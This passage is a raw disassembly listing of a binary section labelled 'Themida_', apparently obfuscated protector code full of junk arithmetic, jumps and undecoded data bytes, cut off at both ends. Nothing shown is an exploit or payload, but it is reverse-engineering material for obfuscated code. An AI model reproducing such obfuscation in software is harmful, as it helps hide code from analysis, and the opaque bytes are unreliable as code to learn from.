0A7h, 8Fh dd 0C3317EB7h, 0AD46E958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C046: ; CODE XREF: Themida_:0054B073j mov [esp], ebx jmp loc_54FD3C ; --------------------------------------------------------------------------- dw 0F181h dd 0F6619177h, 0E959CB21h, 0FFFFA664h, 0A87B17BEh, 9F08E92Bh dd 0A1E9FFFFh db 66h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C06B: ; CODE XREF: Themida_:0054D4BBj jmp loc_54270C ; --------------------------------------------------------------------------- loc_54C070: ; CODE XREF: Themida_:0054D807j push 1C0309FAh jmp loc_5571E1 ; --------------------------------------------------------------------------- dw 48Fh aS_n db '$é.',0 align 2 dw 0ED81h dd 19ED8812h, 0E95DE889h, 0FFFFEC97h, 1399C581h, 515F639Eh dd 63CEE9h, 37E95100h, 5FFFFEAh, 7A4A40A1h, 9711DA05h dd 0E9D8296Eh, 0FFFF790Fh, 0EB81FB01h, 61CE5A61h, 5E50EB81h dd 0C3814C31h, 74DC0CFEh, 81243C8Bh, 4ECh, 24048900h, 0B0E9E089h db 4, 2 dup(0) ; --------------------------------------------------------------------------- loc_54C0DB: ; CODE XREF: Themida_:00554828j push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp mov [esp], ebp jmp loc_553DDC ; --------------------------------------------------------------------------- aBDoq_h db 'ÎDoŸ.hÍ=',0 dw 8900h dd 0F6E92414h, 890000B7h, 24048BC2h, 8104C483h, 12A1BCAh dd 0B0F2813Fh, 81077217h, 0D53695C2h, 5AD6211Ah, 0FFCBC1E9h dd 0BA5258FFh, 5E2262E5h, 0C102E2C1h, 0BFE906E2h, 80FFFFFBh dd 0ED8057F5h, 0E9EB283Fh, 5141h, 0C281E289h, 4, 4C281h dd 14870000h, 0C809E924h, 0E9C1FFFFh, 0DEE95706h, 31FFFF7Ah dd 0C8295FF9h, 178EE9h, 55E68900h, 0D250EBDh, 81DDF705h dd 0D2512C5h, 0FFEE0105h, 0E95D2434h, 0A14Eh, 6824248Bh dd 77A2h, 2457E9h, 2454F600h, 0F6805A01h, 8FC9E925h, 0C4800000h dd 3AC38020h, 570E9h, 4E6C100h, 1EE81h, 0F6810000h, 80872429h dd 5B2FE9h db 0 ; --------------------------------------------------------------------------- loc_54C1BD: ; CODE XREF: Themida_:0054CDAFj mov bl, 25h jmp loc_54AC96 ; --------------------------------------------------------------------------- loc_54C1C4: ; CODE XREF: Themida_:0054EF28j sub bl, 66h sub bl, 8Dh add bl, al add bl, 8Dh sub esp, 4 mov [esp], ecx mov ch, 82h sub ch, 1Ch add bl, ch jmp loc_542E92 ; --------------------------------------------------------------------------- loc_54C1E1: ; CODE XREF: Themida_:00550000j push esp mov ecx, [esp] add esp, 4 push edi mov edi, 4 add ecx, edi pop edi add ecx, 4 xchg ecx, [esp] pop esp loc_54C1FB: ; CODE XREF: Themida_:0054C40Dj push eax mov eax, esp jmp loc_54F3AC ; --------------------------------------------------------------------------- db 83h dd 81E904C4h, 8300007Ch, 1C8704C3h, 8B685C24h, 89000038h dd 74FF2404h, 0FDE90424h, 8F00001Dh, 248B2404h, 8E8C124h dd 6168C831h, 0E900002Ch, 0FFFFE373h, 0E92434FFh, 0FFFF6E39h dd 5704C483h, 0D043C4BFh, 0F5BD5542h, 53146B4Ah, 6663BEBBh dd 0C9B9514Eh, 81067F72h, 0F34C8EF1h, 72C38151h, 0E97F5739h dd 0FFFFE266h ; --------------------------------------------------------------------------- loc_54C26C: ; CODE XREF: Themida_:00553C9Cj shl edx, 6 push 2EA1h mov [esp], esi mov esi, 7CFE49D2h xor esi, 56AF0A1Fh shl esi, 6 shr esi, 2 jmp loc_547FEB ; --------------------------------------------------------------------------- db 5Dh, 2Dh, 0A6h dd 0C15B4333h, 0E99506E0h, 0B3DBh ; --------------------------------------------------------------------------- loc_54C29C: ; CODE XREF: Themida_:0054963Bj mov [esp], edx push eax mov eax, 2C700E1Ch mov edx, 2C700E38h xor edx, eax pop eax push ebp mov ebp, 4B466D5Ch jmp loc_54B900 ; --------------------------------------------------------------------------- dd 8324048Bh, 0BB5304C4h, 0B1271FB6h, 1C8BD989h, 4C48324h dd 0E95EF129h, 0F5h ; --------------------------------------------------------------------------- loc_54C2D4: ; CODE XREF: Themida_:0055612Dj mov ecx, [esp] jmp loc_553A59 ; --------------------------------------------------------------------------- dd 4BBh, 245C0100h, 9DE95B04h, 89FFFFA4h, 310FE9CDh, 1C890000h dd 6FA7BB24h, 2BE97361h db 0Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_54C2FF: ; CODE XREF: Themida_:00547499j push ebx mov ebx, 66775603h push 30C8h mov [esp], ebp mov ebp, ebx mov esi, ebp mov ebp, [esp] jmp loc_546AF6 ; --------------------------------------------------------------------------- loc_54C319: ; CODE XREF: Themida_:00546388j mov ebp, 1A4146B2h add ebp, 4AA916E3h add ebx, ebp pop ebp jmp loc_550551 ; --------------------------------------------------------------------------- dd 243C875Eh, 0FF54525Ch, 94E92434h, 2900004Eh, 0AF80E9DEh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54C342: ; CODE XREF: Themida_:0054B3F1j sub [esp+8], eax add dword ptr [esp+8], 3D6F5A81h pop eax pop eax mov eax, [esp] push 4005h jmp loc_5530F3 ; --------------------------------------------------------------------------- db 81h, 0C5h, 0DCh dd 813A5E0Eh, 0A011E4EDh, 10CD8154h, 0F710811Dh, 87C581DDh dd 0E98CA48Ch, 0FFFF805Fh, 0EC80C4FEh, 8BE52802h, 5BE92404h dd 2CFFFF84h, 34FF5954h, 2CE95B24h, 0C000009Bh, 0CCFE03E4h dd 45E9D4F6h db 0B1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C3A3: ; CODE XREF: Themida_:005467CEj push dword ptr [esp] jmp loc_54B722 ; --------------------------------------------------------------------------- db 89h dd 4C181E1h, 0E9000000h, 6C84h, 8124048Bh, 4C4h, 2EB8300h dd 0B2A6E9h, 0D486800h, 0C0E90000h, 500000AFh, 5B10E2B8h dd 0E1D8E91Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C3DE: ; CODE XREF: Themida_:005517C5j pop ebx add ecx, 4 xchg ecx, [esp] pop esp push dword ptr [edi+eax*4] push dword ptr [esp] push dword ptr [esp] push dword ptr [esp] jmp loc_5453B6 ; --------------------------------------------------------------------------- loc_54C3F7: ; CODE XREF: Themida_:005532C4j mov esi, ebx pop ebx and ebx, esi pop esi sub ebx, 2122A50h and eax, ebx mov ebx, [esp] add esp, 4 or eax, eax jz loc_54C1FB push dword ptr [edi+1Ch] push dword ptr [esp] push dword ptr [esp] mov ecx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xor edi, [esp] xor [esp], edi jmp loc_551DDB ; --------------------------------------------------------------------------- loc_54C439: ; CODE XREF: Themida_:0054420Dj mov esi, 0DA23A47Ch xor ebx, esi mov esi, [esp] jmp loc_54629C ; --------------------------------------------------------------------------- dd 0FF62BFE9h db 0FFh ; --------------------------------------------------------------------------- loc_54C44D: ; CODE XREF: Themida_:0054ED01j and eax, edi mov edi, [esp] jmp loc_544F29 ; --------------------------------------------------------------------------- db 5Dh dd 8B243C87h, 69E92424h db 0BBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C463: ; CODE XREF: Themida_:00553D09j mov ebx, [esp] add esp, 4 add edx, 4 jmp loc_54A8EC ; --------------------------------------------------------------------------- db 0ACh, 0E9h, 0D5h db 6Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C477: ; CODE XREF: Themida_:0054E1FEj add ebp, ecx pop ecx sub ebp, 4 xchg ebp, [esp] pop esp jmp loc_5457AD ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 89000000h, 63BD242Ch, 9638C3Eh, 242C8BE9h, 815A5452h dd 4C2h, 4C28100h, 87000000h, 575C2414h, 0FF7EFBBFh, 5FF9316Fh dd 134FE9h db 0 ; --------------------------------------------------------------------------- loc_54C4BD: ; CODE XREF: Themida_:0054F86Dj push eax jmp loc_554F92 ; --------------------------------------------------------------------------- loc_54C4C3: ; CODE XREF: Themida_:00545B18j xor cl, al jmp loc_54B1A5 ; --------------------------------------------------------------------------- dw 0E6C0h dd 0B2E95006h db 0C1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C4D3: ; CODE XREF: Themida_:005459A2j push dword ptr [esp] pop esi push ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_54DC69 ; --------------------------------------------------------------------------- db 68h dd 7CC3185Ch, 83240C8Bh, 0E98304C4h, 5E9C101h, 0CC0BBD55h dd 0E929FE7Fh, 39FE9h, 0C1E95500h, 8300007Dh, 3C8904ECh dd 2474FF24h, 2434FF04h, 33AB685Fh, 0C890000h, 57E18924h dd 0B010E3BFh, 7CE78128h, 0E9399309h, 2C50h, 5DEE015Ch dd 4BF57h, 0FE010000h, 7D49E9h, 4C38100h, 81000000h, 4C3h dd 241C8700h, 9FBD555Ch, 2D5EE857h, 4986007Eh, 7E05E801h dd 8B498600h, 0C481242Ch, 4, 4EC81h, 0C890000h, 8715E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C582: ; CODE XREF: Themida_:0054816Aj mov [esp], eax push esp jmp loc_5500C7 ; --------------------------------------------------------------------------- db 5 dd 4, 405h, 24048700h, 6624248Bh, 6600B60Fh, 664F2068h dd 0E9240489h, 0FFFF6160h, 436168h, 241C8900h, 0EF80C6B7h dd 0AEDE9C3h, 515B0000h, 5766E9h, 81D52900h, 5F7EA8C5h dd 24148B18h, 4C481h, 0F5810000h, 0BB59697Fh, 3F5DC681h dd 94E930A6h, 87000003h, 515C240Ch, 0FFD2F9E9h, 241C8BFFh dd 4C483h, 5D5AE9C8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54C5FE: ; CODE XREF: Themida_:00542D78j mov ebp, ecx push dword ptr [esp] pop ecx add esp, 4 sub esi, ebp mov ebp, [esp] jmp loc_547A87 ; --------------------------------------------------------------------------- db 29h, 0F3h, 5Eh dd 84E9EB29h, 8BFFFFE2h, 0C481243Ch, 4, 5C24048Fh, 66E1F766h dd 66741A68h, 66241489h, 0D1E99C50h, 50FFFF60h, 24348156h dd 733A4970h, 49703558h, 0C289733Ah, 0D7295E58h, 242C8B5Ah dd 5104C483h, 4B9h, 59CF0100h, 8BF4E957h, 2C89FFFFh, 726BE924h dd 8953FFFFh, 3B6851E3h, 5906D01Ah, 84BA5256h, 0BE2F9250h dd 4577A31h, 0FF9FDBE9h, 4C483FFh, 8107E1C1h, 1FED90C1h dd 0E9C829EEh, 0FFFFA829h, 1C5F215Ch, 6066E95Bh, 0D68FFFFh dd 5F1AD12Fh, 6FB9C781h, 0F7815215h, 19A386AFh, 0BB5FFA89h dd 3A4A698Dh, 565AD331h, 0BEh, 56DE2900h, 96E95E5Bh, 68FFFFD5h dd 4D52h, 68241C89h, 223E62FFh, 81241C8Bh, 4C4h, 62685200h dd 0E970583Fh, 0FFFF8523h, 0FFFFFFBFh, 0C648E9FFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C6FE: ; CODE XREF: Themida_:00548B73j mov esi, esp push edx jmp loc_547777 ; --------------------------------------------------------------------------- dw 483h dd 0D4E90424h, 0B8000076h, 0FD2D05B9h, 4962E9h, 0ABEB8000h dd 7DEB80h, 7DC380E3h, 0FFA26FE9h, 2474FFFFh, 4144E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54C732: ; CODE XREF: Themida_:005556A4j neg ebp jmp loc_5504DB ; --------------------------------------------------------------------------- db 0BAh, 0D7h, 8 dd 0C2816412h, 72A94A87h, 8103EAC1h, 564E14F2h, 4EAC133h dd 7E46C281h, 0EA815206h, 12821BA9h, 815AD789h, 0BC2BE7CFh dd 96EBE979h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C76A: ; CODE XREF: Themida_:00554DCFj mov edx, 5F6C03E2h mov ecx, edx pop edx or ecx, 10B81209h push edx mov edx, 68206881h add edx, 711F4A11h jmp loc_548C69 ; --------------------------------------------------------------------------- db 81h, 0C1h, 4 dd 52000000h, 4EC81h, 24890000h, 24048124h, 4, 8124148Bh dd 4C4h, 20BF5700h, 0E97CC362h, 0B21h ; --------------------------------------------------------------------------- loc_54C7B4: ; CODE XREF: Themida_:00552A8Bj pop ebx push dword ptr [esp] pop eax push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_5509AC ; --------------------------------------------------------------------------- db 57h, 0BFh, 8 dd 174D85Fh, 5F08247Ch, 4244401h, 4246C81h, 74D85F08h dd 0FF7D26E9h, 3EF381FFh, 816A4025h, 0C70E4AC3h, 1DBA524Fh dd 81360473h, 0D52DBBCAh, 7E2C170h, 240CFF52h, 6EAC15Ah dd 3727CA81h, 0C28121E2h, 57EE9D6Dh, 17EEC381h, 4E95D35h db 0E7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C823: ; CODE XREF: Themida_:0054FF18j pop ecx add edx, 27AB2E62h sub edx, 1F660C98h not edx jmp loc_548E9A ; --------------------------------------------------------------------------- db 5Bh dd 8108EAC1h, 0DCFB5BC2h, 57C5054Dh, 38E91929h, 87000087h dd 2C8B240Ch, 0F9EAE924h, 0D6F7FFFFh, 0E3D5EE81h, 0EC831418h dd 24348904h, 2242C81h, 0FF3CC66Ch, 0CEE92434h, 81FFFFC3h dd 4ECh, 24248900h, 431168h, 24148900h, 468h, 2434FF00h dd 8124148Bh, 4C4h, 1E786800h, 0C890000h, 0C6B5E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C8A2: ; CODE XREF: Themida_:00544D24j push ebx jmp loc_557B18 ; --------------------------------------------------------------------------- dd 595F515Dh, 0C7DC781h, 0B8051BB2h, 29244003h, 4EC81F8h dd 89000000h, 0E956241Ch, 10D6h, 4C181h, 0C1810000h, 4 dd 31240C33h, 0C33240Ch, 0C1835C24h, 240C3302h, 0E9240C31h dd 10EBh, 351FF42Dh, 2092D14h, 0E5E97B56h db 23h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54C8FB: ; CODE XREF: Themida_:0055380Cj mov ebp, esi mov esi, [esp] add esp, 4 push esi push ecx mov ecx, 1CAE6498h mov esi, 185047D0h sub esi, ecx jmp loc_5500CF ; --------------------------------------------------------------------------- db 0C0h, 0E7h, 8 dd 0C7FEC7FEh, 28B3F780h, 0B8E95BFAh, 0C0000015h, 0EE8002EEh dd 0A6E680EBh, 7B71E9h db 0 ; --------------------------------------------------------------------------- loc_54C939: ; CODE XREF: Themida_:00553576j push edx push 7FBA239Dh pop edx jmp loc_549332 ; --------------------------------------------------------------------------- loc_54C945: ; CODE XREF: Themida_:0054964Bj jz loc_54487C push 3E24h mov [esp], ebp mov ebp, 42C16961h mov dword ptr [edi+20h], 0BD3E969Fh push eax push ecx push 7750030h pop ecx jmp loc_544CC2 ; --------------------------------------------------------------------------- loc_54C96C: ; CODE XREF: Themida_:0054A81Ej sub eax, 254DE367h or esi, eax mov eax, [esp] jmp loc_552F4B ; --------------------------------------------------------------------------- db 1 dd 5DEE81EEh, 5D30A63Fh, 0FFAE63E9h, 53E800FFh, 0E3C020B3h dd 0DAEB8003h, 595BD828h, 0B3535253h, 0B2B551C4h, 0C580C5FEh dd 0E9DDF6D6h, 0FFFFF787h ; --------------------------------------------------------------------------- loc_54C9AC: ; CODE XREF: Themida_:00546366j push dword ptr [esp] jmp loc_54370E ; --------------------------------------------------------------------------- dd 4C481h, 0B60F0000h, 8734FFC0h, 4EC81h, 34890000h, 8F685224h dd 0E903AB41h, 0FFFFA8E8h, 5C243C87h, 9A68E950h, 0B7530000h dd 0C56866E5h, 0E374E93Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C9EA: ; CODE XREF: Themida_:0054815Ej mov eax, 1 add ebp, eax pop eax push edx jmp loc_547FD6 ; --------------------------------------------------------------------------- loc_54C9F8: ; CODE XREF: Themida_:005449B8j shl ebx, 3 sub ebx, 0A118C7B4h jmp loc_54E5FB ; --------------------------------------------------------------------------- dw 0C483h dd 0CDBA5204h, 2928FA32h, 0CB015AD3h, 32CDBD55h, 0EB0128FAh dd 240C8B5Dh, 8304C483h, 0FF5304C3h, 5B042474h, 0FFF7F2E9h dd 32FF64FFh, 0FFD034E9h, 241C31FFh, 159DE9h db 0 ; --------------------------------------------------------------------------- loc_54CA41: ; CODE XREF: Themida_:0054DD29j pop esp not cx sub cx, 0DE30h sub bx, 13F3h sub bx, cx add bx, 13F3h mov ecx, [esp] jmp loc_55343C ; --------------------------------------------------------------------------- db 0C1h dd 0EEC106EEh, 8E6C106h, 11B0F681h, 0F68156E6h, 2EEE96E7h dd 8CE9F229h db 0BDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CA7B: ; CODE XREF: Themida_:00552EDAj push dword ptr [esp] push dword ptr [esp] jmp loc_5435BE ; --------------------------------------------------------------------------- dw 0E589h dd 8904EC83h, 4BF243Ch, 53000000h, 525C59BBh, 0F6EB810Fh dd 0E9790B70h, 0A0A4h ; --------------------------------------------------------------------------- loc_54CAA4: ; CODE XREF: Themida_:0054C00Aj sub ebx, eax pop eax mov ebp, [esp] jmp loc_542C66 ; --------------------------------------------------------------------------- db 1 dd 0D6685EF0h, 89000010h, 0B3E9243Ch, 5FFFFF4h, 4, 5C240487h dd 5E2AF381h, 554B37F8h, 9626E9h db 0 ; --------------------------------------------------------------------------- loc_54CAD5: ; CODE XREF: Themida_:00548CDDj pop ebx push edx jmp loc_549D9F ; --------------------------------------------------------------------------- dd 0E9242C89h, 0FFFF8A96h, 30BFE981h, 0E981799Fh, 4F14DC9h dd 0C181D101h, 4F14DC9h, 30BFC181h, 0BB53799Fh, 0E2949h dd 2A5AC381h, 0D9296E7Ah, 2434FF5Bh, 4C4815Ah, 83000000h dd 0FF5102C1h, 59042474h, 8B24048Fh, 8B662424h, 89572404h dd 4C781E7h, 0E9000000h, 0FFFFE5C1h, 0E328EBB4h, 5724048Bh dd 0FF855EE9h, 0EB815AFFh, 319060C8h, 0C381C301h, 319060C8h dd 6BC38158h, 0E94C602Dh, 5A2Eh ; --------------------------------------------------------------------------- loc_54CB60: ; CODE XREF: Themida_:0054BE68j sub edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp mov [esp], ebx push 62F6h mov [esp], ebx push edx push 0FC3D0Bh pop edx neg edx sub edx, 98A98601h push ecx jmp loc_550E97 ; --------------------------------------------------------------------------- loc_54CB8D: ; CODE XREF: Themida_:0055109Aj mov ah, bh pop ebx push dword ptr [esp] pop ecx add esp, 4 jmp loc_54F280 ; --------------------------------------------------------------------------- db 50h dd 405E089h, 2D000000h, 4, 5C240487h, 89241C89h, 0C6A1E9E3h dd 0BD55FFFFh, 146A3B2Ah, 186FC381h, 0EB2947E7h, 186FEB81h dd 295D47E7h, 2AC381C3h, 81146A3Bh, 1F635BEBh, 4EC8348h dd 55240C89h, 0FFA8DFE9h, 0E9F329FFh, 4CBDh ; --------------------------------------------------------------------------- loc_54CBF0: ; CODE XREF: Themida_:00545D5Ej push esp pop eax jmp loc_54993F ; --------------------------------------------------------------------------- db 88h dd 5AD488FAh, 8851D4F6h, 59EF88E5h, 89565866h, 7E2DE9E6h dd 0CA890000h, 85ED8159h, 680D185Fh, 0CEDh, 0B9240C89h dd 70CA4584h, 6EE9CD29h, 59FFFF70h, 7B41EF81h, 15E910F6h db 11h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54CC37: ; CODE XREF: Themida_:0054F769j mov edx, 28h jmp loc_54BC4A ; --------------------------------------------------------------------------- loc_54CC41: ; CODE XREF: Themida_:00552A70j mov [esp], ebx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 jmp loc_55180F ; --------------------------------------------------------------------------- loc_54CC56: ; CODE XREF: Themida_:0054B4FFj pop esp xchg ebx, [esp] mov esp, [esp] push 5207h mov [esp], eax jmp loc_54270C ; --------------------------------------------------------------------------- dw 642Ch dd 6404E800h, 0A9E6E959h, 14330000h, 24248B24h, 0FFCF75E9h db 0FFh ; --------------------------------------------------------------------------- loc_54CC81: ; CODE XREF: Themida_:0055636Bj pop ebx jmp loc_55081B ; --------------------------------------------------------------------------- db 89h dd 4C681E6h, 0E9000000h, 0FFFFBEA8h, 83242C8Bh, 346804C4h dd 89000011h, 4BB241Ch, 52000000h, 5248EEBAh, 8C2810Ch dd 2942E8FFh, 0DD015AD5h, 47F6C581h, 0E95B4F3Bh, 0FFFF6B79h dd 0E904C483h, 0FFFFE128h, 6C02C181h, 348B3CC6h, 4C48124h dd 0E9000000h, 436h ; --------------------------------------------------------------------------- loc_54CCE0: ; CODE XREF: Themida_:00553ECEj and ecx, ebx jmp loc_545C9B ; --------------------------------------------------------------------------- db 81h dd 0C203D6EEh, 4BC68114h, 130D737h, 4BEE81C6h, 8130D737h dd 0C203D6C6h, 4EC8114h, 89000000h, 0A4B9240Ch, 810B372Eh dd 0CE605DC6h, 81CE012Ah, 0CE605DEEh, 240C8B2Ah, 6804C483h dd 0ADCh, 89243489h, 33E955E6h, 31000056h, 24048BC7h, 4C481h dd 0F9010000h db 8Bh, 3Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 1FA2h mov [esp], ecx mov ecx, 3703011Eh shr ecx, 8 xor ecx, 370305h jmp loc_54311F ; --------------------------------------------------------------------------- db 81h, 0C6h, 0EAh dd 0F721333Bh, 0C5E681D6h, 0F71D3137h, 0A121E9D6h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54CD76: ; CODE XREF: Themida_:00556DC2j pop edx push eax mov eax, esp add eax, 4 jmp loc_554583 ; --------------------------------------------------------------------------- a3hXsk3 db '¹3H±xéŠ3',0 align 2 dw 48Fh dd 8AD6E924h, 0F201FFFFh, 9552E95Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CD9E: ; CODE XREF: Themida_:00555A6Dj push 470Ch mov [esp], ecx push eax mov ah, 19h push small 0 push bx jmp loc_54C1BD ; --------------------------------------------------------------------------- dd 0C7815F54h, 4, 4C781h, 0FF570000h, 8B042474h, 0C481243Ch dd 4, 60BAE9h, 2434FF00h, 582434FFh, 0D8CE9h db 0 ; --------------------------------------------------------------------------- loc_54CDE1: ; CODE XREF: Themida_:005551CAj xor eax, 75392BA9h jmp loc_555113 ; --------------------------------------------------------------------------- db 5Ah dd 0F704EFC1h, 0B2C781D7h, 2D04DB21h, 5C6C1607h, 2717432Dh dd 5F80101h, 1271743h, 0FF8A4EE9h, 5FFD29FFh, 79E9FD01h db 0F2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CE17: ; CODE XREF: Themida_:00556FAAj neg ebx jmp loc_5478D2 ; --------------------------------------------------------------------------- dw 4EBAh dd 9629C61h, 24148BD0h, 0FFBBBAE9h, 60BB53FFh, 1077A74h dd 0FE295BDEh, 343CE9h, 0ABF58100h, 0E908417Ch, 0FFFFD8C4h dd 148BF028h, 4C48124h, 4000000h, 2CD80030h, 0E9B80430h dd 7E29h, 0E95AD631h, 0FFFF773Ah, 0F4805966h, 58E3883Dh dd 28DDE9h, 58E70000h, 34FFF828h, 0E9535B24h, 33ABh, 0DA6685Dh dd 43E90000h, 0BDFFFFDEh, 5A5A09E8h, 5871C681h, 0EE295B8Fh dd 5871EE81h, 815D5B8Fh, 0A16827EEh, 81D60108h, 0A16827C6h dd 6A7CE908h, 0C15F0000h, 0EE8102E6h, 6E94C2E8h, 89F08950h dd 295E58C3h, 241C8BD8h, 4C481h, 3C8B0000h, 4C48124h, 5000000h dd 575652F1h, 0F12DD829h, 5575652h, 21185934h, 948BE56h dd 0EEC130EFh, 40E66802h, 14890000h, 0E9E28924h, 20A6h dd 0BE7837BFh, 95C781E4h, 81098636h, 7029ADEFh, 81EF0157h dd 7029ADC7h, 95EF8157h, 5D098636h, 5584E951h, 0C1810000h dd 68A95B3Ah, 0E981D901h, 68A95B3Ah, 3AF1815Bh, 0E954B006h dd 0FFFFB7E4h, 88C28852h, 3AD9E9D1h, 82B80000h, 2D0E063Bh dd 0E063B7Eh, 8158C601h, 4C6h, 24348700h, 0FFF1315Ch, 835E2434h dd 0D9F704C4h, 7698C181h, 48E9FAC8h, 1FFFFC7h, 241C8BD8h dd 3304C483h, 4312404h, 0CF99E924h, 0D3B9FFFFh, 0E94A1475h dd 355Bh ; --------------------------------------------------------------------------- loc_54CF98: ; CODE XREF: Themida_:00551A1Dj sub ecx, ebp pop ebp push ecx xchg ecx, [esp] not ecx xchg ecx, [esp] pop ecx shl ecx, 8 sub esp, 4 mov [esp], esi push 6E1Ah mov [esp], ecx push 7EB55726h pop ecx or ecx, 58285BB9h neg ecx jmp loc_552D8C ; --------------------------------------------------------------------------- loc_54CFCC: ; CODE XREF: Themida_:005454EEj neg ebx jmp loc_55116F ; --------------------------------------------------------------------------- db 68h dd 2882h, 330FE9h db 0 ; --------------------------------------------------------------------------- loc_54CFDD: ; CODE XREF: Themida_:00551EAAj add ebx, eax jmp loc_54DBBE ; --------------------------------------------------------------------------- loc_54CFE4: ; CODE XREF: Themida_:0055721Dj mov dl, 37h mov al, dl jmp loc_547A1E ; --------------------------------------------------------------------------- db 0F7h, 1Ch, 24h dd 0A1C18159h, 136D779h, 0C65BE9CBh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CFFE: ; CODE XREF: Themida_:005536D4j mov ebx, 34A32129h sub ebx, ebp jmp loc_542B45 ; --------------------------------------------------------------------------- loc_54D00A: ; CODE XREF: Themida_:00556C35j pop ebx add edi, ecx push ebx mov ebx, 71492F43h jmp loc_5507C5 ; --------------------------------------------------------------------------- loc_54D018: ; CODE XREF: Themida_:0054B0E1j mov al, 0B2h add al, 0A0h sub al, dl sub al, 0A0h mov edx, [esp] add esp, 4 inc al sub esp, 4 mov [esp], edx mov dh, 0B8h and dh, 6 push eax mov ah, 8Fh jmp loc_54966B ; --------------------------------------------------------------------------- dw 40BEh dd 0F73ABA06h, 3EEC1D6h, 2D85EE81h, 0EE8134D9h, 1CD51918h dd 876AC681h, 2FE93905h db 11h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54D05F: ; CODE XREF: Themida_:00554FF8j mov [esp], esi mov esi, esp add esi, 4 push 40E5h mov [esp], eax jmp loc_5528AA ; --------------------------------------------------------------------------- db 83h dd 0C18104C4h, 4, 0FF65EDE9h, 5E9C1FFh, 389BE981h, 5305A33Fh dd 2924E00Eh, 4EC83C8h, 0BB241C89h, 71497532h, 1069E381h dd 0C3E9133Fh, 0FEFFFFD4h, 0FFC780C7h, 68h, 243C2800h dd 68243C8Ah, 4AF4h, 0FFD5B0E9h, 4C481FFh, 0FF000000h dd 835E2434h, 0EE8704C4h, 0BAE9DDF7h db 1Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54D0DB: ; CODE XREF: Themida_:0054550Bj xchg ebp, [esp] pop esp sub esp, 4 mov [esp], edi push 409Fh push esp pop dword ptr [esp] add dword ptr [esp], 4 mov edi, [esp] add esp, 4 push esi mov esi, 4 jmp loc_54E67A ; --------------------------------------------------------------------------- dw 0E6C1h dd 0EDC68106h, 29CC69E5h, 60AEE9F5h, 0E981FFFFh, 18B56D49h dd 0FF5F7CE9h db 0FFh ; --------------------------------------------------------------------------- loc_54D121: ; CODE XREF: Themida_:0054D3A5j push ebp mov ebp, 4E6B4875h mov edi, ebp jmp loc_555FC9 ; --------------------------------------------------------------------------- aSI_0 db 'S³©±Þ',0 dd 241C8BD9h, 4C481h, 0C8000000h, 0E9240C8Bh, 5547h, 3848C581h dd 835B4505h, 2C8904ECh, 2474FF24h, 48F5D04h, 0CFE5C24h dd 0A5E99C24h, 68FFFF55h, 407Bh, 83242489h, 3C8904ECh dd 4BF24h, 6C810000h, 299D0424h, 7C0171C3h, 44810424h dd 299D0424h, 3C8B71C3h, 4C48324h, 6824048Bh, 5095h, 89241489h dd 4C281E2h, 83000000h, 148704C2h, 24248B24h, 405h, 0E2895200h dd 4C281h, 0EA830000h, 46AAE904h, 3C8B0000h, 14C0E924h dd 4BB0000h, 1000000h, 241C8BDFh, 4C481h, 0E9550000h, 291Eh dd 314AD8B8h, 83E9536Ah, 0FF000095h, 669D1C77h, 24041058h dd 550EE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D1FE: ; CODE XREF: Themida_:00544931j sub dl, 2Eh add ah, dl jmp loc_54927E ; --------------------------------------------------------------------------- loc_54D208: ; CODE XREF: Themida_:0054E8EDj add ebx, 36316967h mov eax, [esp] push edi mov edi, esp add edi, 4 jmp loc_55635C ; --------------------------------------------------------------------------- db 5Bh dd 4BD555Fh, 1000000h, 0C7815DEFh, 4, 8B243C87h, 48F2424h dd 8B665C24h, 8957240Ch, 4C781E7h, 81000000h, 4EFh, 12C7E900h dd 248B0000h, 24048F24h, 54AEE95Ch, 0F681FFFFh, 96252Dh dd 33BDC681h, 40E93BD2h, 81FFFFF8h, 322876CBh, 0E6A8E940h dd 685CFFFFh, 14CAh, 9434E9h, 4EBC100h, 9C685552h, 5D021734h dd 0BA4C581h, 0C5815C4Fh, 0BE1C3764h, 525DEA89h, 0F7243C87h dd 243C87D7h, 3CEA815Ah, 964912Bh, 0AB685AD3h, 89000039h dd 8CBD242Ch, 0E943AE68h, 2D8Eh ; --------------------------------------------------------------------------- loc_54D2C4: ; CODE XREF: Themida_:00554DABj or dl, 0EBh xor dl, 96h jmp loc_54492F ; --------------------------------------------------------------------------- db 57h dd 0FFC87CE9h, 0FFEF83FFh, 28DBEF81h, 0F7815025h, 2C9E3942h dd 58AC281h, 0FA016AE2h, 883FE9h, 241C3100h, 8B241C33h dd 4892424h, 83E08924h, 2C8904ECh, 66BB5324h, 8177D550h dd 